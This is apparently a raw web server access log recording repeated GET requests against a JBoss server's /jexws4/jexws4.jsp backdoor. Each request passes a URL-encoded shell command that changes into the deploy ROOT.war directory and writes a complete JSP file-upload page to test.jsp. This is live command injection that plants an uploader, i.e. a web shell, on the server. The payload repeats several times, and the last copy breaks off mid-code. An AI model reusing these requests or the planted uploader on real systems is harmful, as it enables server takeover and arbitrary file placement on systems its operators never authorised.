22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S784034778 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783980069 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S783974178 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++